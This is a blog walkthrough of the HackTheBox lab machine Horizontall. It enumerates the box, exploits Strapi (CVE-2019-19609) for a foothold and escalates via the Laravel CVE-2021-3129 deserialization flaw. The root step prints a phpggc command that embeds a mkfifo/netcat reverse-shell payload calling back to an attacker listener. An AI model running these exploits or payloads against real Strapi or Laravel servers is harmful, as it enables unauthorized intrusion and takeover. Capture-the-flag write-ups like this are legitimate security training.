Horizontall Writeup

Horizontall Writeup / Walkthrough Hack the box


This is a walkthrough writeup on Horizontall which is a Linux box categorized as easy on HackTheBox. Primarily, the crux about rooting this was enumeration & CVE exploitation. The initial foothold was gained by enumerating and exploiting Strapi using CVE-2019-19609, and later the privilege escalation part was done using CVE-2021-3129.


Horizontall Writeup: Scanning Network

Scanning ports with Nmap :

Command : nmap -A -Pn -n -sC -sV -v -oN nmap.initial
Nmap scan report for
Host is up (0.19s latency).
Not shown: 998 closed ports

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We only got SSH on port 22 & Apache WebServer on port 80. Let’s go ahead and enumerate the website now.

Enumerating the Website

The page we see on browsing the box IP address :

Horizontall Writeup

Intercepting the request with burp, we see :

Request in Burp
Response to redirect in Burp
Redirect request in Burp

The response. Status Code 301, is asking us to redirect to http://horizontal.htb. Seems like the server is only serving requests which have HOST: horizontall.htb header.

We will need to add this domain in our /etc/hosts file and point it to Horizontall’s IP address.

Editing the /etc/hosts file accordingly and adding the following entry    horizontall.htb

Also, add the above configuration in BurpSuite, in the Hostname Resolution, section.

Adding this entry in the /etc/hosts file will let our system know that whatever request we send to horizontall.htb domain, it needs to be sent to it’s corresponding IP address (/etc/hosts file entry), and our system will not query the DNS for the IP address of this domain.

We see a simple static webpage :

Horizontall Writeup

On enumerating the source code, we found this URL :


which reveals an interesting sub-domain api-prod.horizontall.htb, let’s check it out later

Horizontall Writeup

You could have also tried fuzzing the subdomains, which would have also revealed this subdomain.

Horizontall Writeup: Dirbuster (subdirectories enumeration)

Didn’t find anything very useful here ๐Ÿ™

DirBuster 1.0-RC1 - Report

Directories found during testing:

Dirs found with a 200 response:


Dirs found with a 403 response:


Files found during testing:

Files found with a 200 responce:



api-prod sub-domain enumeration

Let’s enumerate this subdomain api-prod from that URL we found in the source code. Firstly, also configure the /etc/hosts for this sub-domain.    api-prod.horizontall.htb

Browsing it in the browser :

Horizontall Writeup

Horizontall Writeup:
Running Dirbuster on api-prod.horizontall.htb

We did find some potential sub-directories :

DirBuster 1.0-RC1 - Report
Report produced on Fri Oct 22 03:39:24 EDT 2021

Directories found during testing:

Dirs found with a 200 response:



Dirs found with a 403 response:


Files found during testing:

Files found with a 200 responce:



Let’s check them out ๐Ÿ˜‰


What is Strapi ?

Strapi is an open-source headless CMS used for building fast and easily manageable APIs written in JavaScript. It enables developers to make flexible API structures easily using a beautiful user interface. Strapi can be used with various databases including MongoDB, PostgreSQL, etc.

The login panel โ†’

Horizontall Writeup
strapi login

Exploiting Strapi

Searching for “Strapi exploits” on google we found this “Unauthenticated RCE exploit for version 3.0.0-beta.17.4” โ€”>

Strapi CMS 3.0.0-beta.17.4 – Remote Code Execution (RCE) (Unauthenticated) – Multiple webapps Exploit (exploit-db.com)

An RCE exploit, awesome!

Checking Strapi version

But we need to verify the Strapi version. Going through the source code of the exploit we see a check_version() function, which sends a GET request to /admin/init sub-directory to get the version info.

code snippet from the exploit

Thus, let us visit that URL to verify the Strapi version :

strapi version

Downloading and running the exploit :

This exploit basically resets the password for the admin account โ€”>

โ””โ”€โ”€โ•ผ python3 strapi_rce.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM1MDYyMjAyLCJleHAiOjE2Mzc2NTQyMDJ9.shH6CVOtYx7hdXyjR90SYiUMlhRdTnCb5mPGNFS4KgU

$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

But it did not execute commands, tt returned a 400 status code. However, it did successfully reset the password for the admin user.

So, I went ahead to look for a Gihutb version of the same CVE and found this โ€”>

CVE-2019-19609-EXPLOIT/exploit.py at main ยท diego-tella/CVE-2019-19609-EXPLOIT (github.com)

Running it with the right parameters and the JWT we previously got in the output of the exploit we used earlier; and then wait for the reverse shell on the specified port โ€”>

Horizontall Writeup
running the exploit
Horizontall Writeup
reverse shell

Nice, we have a reverse shell now ๐Ÿ™‚

User Flag

We can further enumerate and get the user flag โ€”>

strapi@horizontall:~/myapi$ cd /home

strapi@horizontall:/home$ ls

strapi@horizontall:/home$ cd developer

strapi@horizontall:/home/developer$ ls -al   

total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25 11:43 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1 12:53 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1 12:47 .bashrc
drwx------  3 developer developer  4096 May 26 12:00 .cache
-rw-rw----  1 developer developer 58460 May 26 11:59 composer-setup.php
drwx------  5 developer developer  4096 Jun  1 11:54 .config
drwx------  3 developer developer  4096 May 25 11:45 .gnupg
drwxrwx---  3 developer developer  4096 May 25 19:44 .local
drwx------ 12 developer developer  4096 May 26 12:21 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4 11:21 .ssh
-r--r--r--  1 developer developer    33 Oct 24 05:33 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null

strapi@horizontall:/home/developer$ cat user.txt
cat user.txt

Horizontall Writeup: Privilege Escalation

Checking the internal listening ports on the box โ€”>

strapi@horizontall:/home/developer$ netstat -lp

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 localhost:8000*               LISTEN      -                   
tcp        0      0 localhost:mysql*               LISTEN      -                   
tcp        0      0  *               LISTEN      -                   
tcp        0      0   *               LISTEN      -                   
tcp        0      0 localhost:1337*               LISTEN      1823/node /usr/bin/ 
tcp6       0      0 [::]:http               [::]:*                  LISTEN      -                   
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -                   

After using curl on internal port 8000 & 1337 to examine what’s running on them, we found the following services :

8000 --> some Laravel webpage/webapp
1337 --> strAPI

Now, let us use this awesome tool called chisel to forward this port 8000 to our local machine. We transferred chisel to remote box by hosting it on a python web server and using wget on the remote box to download it.

Now, setting up chisel to forward remote machin’es port 8000 to out local machine’s port 6969

Setting up the server side (local machine) for chisel port forward :

โ””โ”€โ”€โ•ผ ./chisel server --reverse -p 6969

2021/10/24 04:59:31 server: Reverse tunnelling enabled
2021/10/24 04:59:31 server: Fingerprint fFuGUnOm0oRmOGLCgLgIzJle8zEmjjTMbMqb/sYs8i8=
2021/10/24 04:59:31 server: Listening on
2021/10/24 05:01:55 server: session#1: tun: proxy#R:8181=>8000: Listening
Setting up the client side (remote machine) for chisel port forward :

strapi@horizontall:/tmp$ ./chisel client R:8181:

./chisel client R:8181:
2021/10/24 09:09:13 client: Connecting to ws://
2021/10/24 09:09:14 client: Connected (Latency 179.251437ms)

Great! Now let’s browse to localhost:6969 on our local machine, we see this Laravel application running here โ€”>

Horizontall Writeup
port 8000 laravel applicaition

We can also see the version info for Laravel on this page. This machine is running Laravel v8 .

You know the ritual now ๐Ÿ™‚ Let’s search for exploits for this version.

On We found this PHP deserialization exploit that gets remote code execution on Laravel debug mode :

Laravel 8.4.2 debug mode – Remote code execution – PHP webapps Exploit (exploit-db.com)

Because this CVE required the path to the Laravel project log file on the remote machine (which we didn’t have and couldn’t find after enumerating the box), thus we searched for an alternate exploit and found this :

ambionics/laravel-exploits: Exploit for CVE-2021-3129 (github.com)

When I first ran this exploit, it gave an error, but later on googling about that error I realized that we will need to install a dependency to run this exploit which is phpggc or else the exploit wil give error.

Use git clone on this repo to install phpggc

ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. (github.com)

Running the exploit and gaining a root shell

Run the first command for the exploit from inside the phpggc directory.

โ””โ”€โ”€โ•ผ cd phpggc/

โ””โ”€โ”€โ•ผ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id

โ””โ”€โ”€โ•ผ #./laravel-ignition-rce.py http://localhost:8181/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
uid=0(root) gid=0(root) groups=0(root)
+ Logs cleared

Root Flag

Noice !

Now let’s alter the first command we ran to get a root shell.

We need to replace id with a reverse shell command.

โ””โ”€โ”€โ•ผ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f"

And now catching the reverse shell :

โ””โ”€โ”€โ•ผ nc -nvlp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 54110
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# python -c "import pty;pty.spawn('/bin/bash')"

root@horizontall:/home/developer/myproject/public# cd /root
cd /root

root@horizontall:~# cat root.txt
cat root.txt

Kudos for rooting Horizontall. Until next time, keep hacking and do checkout other writeups and blogs on sheerazali.com

Posts created 29

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top